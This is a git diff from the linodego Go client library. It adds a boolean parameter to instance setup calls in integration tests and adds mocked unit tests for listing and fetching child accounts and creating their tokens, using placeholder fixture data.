a/test/integration/vlans_test.go b/test/integration/vlans_test.go index 9b7bca69d..c8f146a13 100644 --- a/test/integration/vlans_test.go +++ b/test/integration/vlans_test.go @@ -85,7 +85,7 @@ func createVLANInstance(t *testing.T, client *linodego.Client, instanceName, vla trueBool := true - instance, err := createInstance(t, client, func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { + instance, err := createInstance(t, client, true, func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.Interfaces = []linodego.InstanceConfigInterfaceCreateOptions{ { Label: vlanName, diff --git a/test/integration/volumes_test.go b/test/integration/volumes_test.go index 70ac4d045..f84386ef3 100644 --- a/test/integration/volumes_test.go +++ b/test/integration/volumes_test.go @@ -100,7 +100,7 @@ func TestVolume_WaitForLinodeID_nil(t *testing.T) { } func TestVolume_WaitForLinodeID(t *testing.T) { - client, instance, teardownInstance, errInstance := setupInstance(t, "fixtures/TestVolume_WaitForLinodeID_linode") + client, instance, teardownInstance, errInstance := setupInstance(t, "fixtures/TestVolume_WaitForLinodeID_linode", true) if errInstance != nil { t.Errorf("Error setting up instance for volume test, %s", errInstance) } diff --git a/test/unit/account_child_test.go b/test/unit/account_child_test.go new file mode 100644 index 000000000..a58d9ea04 --- /dev/null +++ b/test/unit/account_child_test.go @@ -0,0 +1,103 @@ +package unit + +import ( + "context" + "fmt" + "reflect" + "testing" + + "github.com/jarcoal/httpmock" + "github.com/linode/linodego" + "github.com/linode/linodego/internal/testutil" + "github.com/stretchr/testify/require" +) + +var testChildAccount = linodego.ChildAccount{ + Address1: "123 Main Street", + Address2: "Suite A", + Balance: 200, + BalanceUninvoiced: 145, + Capabilities: []string{ + "Linodes", + "NodeBalancers", + "Block Storage", + "Object Storage", + }, + City: "Philadelphia", + Company: "Linode LLC", + Country: "US", + CreditCard: &linodego.CreditCard{ + Expiry: "11/2022", + LastFour: "1111", + }, + Email: "john.smith@linode.com", + EUUID: "E1AF5EEC-526F-487D-B317EBEB34C87D71", + FirstName: "John", + LastName: "Smith", + Phone: "215-555-1212", + State: "PA", + TaxID: "ATU99999999", + Zip: "19102-1234", +} + +func TestAccountChild_list(t *testing.T) { + client := createMockClient(t) + + desiredResponse := map[string]any{ + "page": 1, + "pages": 1, + "results": 1, + "data": []linodego.ChildAccount{ + testChildAccount, + }, + } + + httpmock.RegisterRegexpResponder( + "GET", + testutil.MockRequestURL("/account/child-accounts"), + httpmock.NewJsonResponderOrPanic(200, &desiredResponse), + ) + + accounts, err := client.ListChildAccounts(context.Background(), nil) + require.NoError(t, err) + + require.True(t, reflect.DeepEqual(accounts, desiredResponse["data"])) +} + +func TestAccountChild_get(t *testing.T) { + client := createMockClient(t) + + httpmock.RegisterRegexpResponder( + "GET", + testutil.MockRequestURL(fmt.Sprintf("/account/child-accounts/%s", testChildAccount.EUUID)), + httpmock.NewJsonResponderOrPanic(200, &testChildAccount), + ) + + account, err := client.GetChildAccount(context.Background(), testChildAccount.EUUID) + require.NoError(t, err) + + require.True(t, reflect.DeepEqual(*account, testChildAccount)) +} + +func TestAccountChild_createToken(t *testing.T) { + client := createMockClient(t) + + desiredResponse := linodego.ChildAccountToken{ + ID: 123, + Scopes: "*", + Label: "child_token", + } + + httpmock.RegisterRegexpResponder( + "POST", + testutil.MockRequestURL( + fmt.Sprintf("/account/child-accounts/%s/token", testChildAccount.EUUID), + ), + httpmock.NewJsonResponderOrPanic(200, &desiredResponse), + ) + + token, err := client.CreateChildAccountToken(context.Background(), testChildAccount.EUUID) + require.NoError(t, err) + + require.True(t, reflect.DeepEqual(*token, desiredResponse)) +}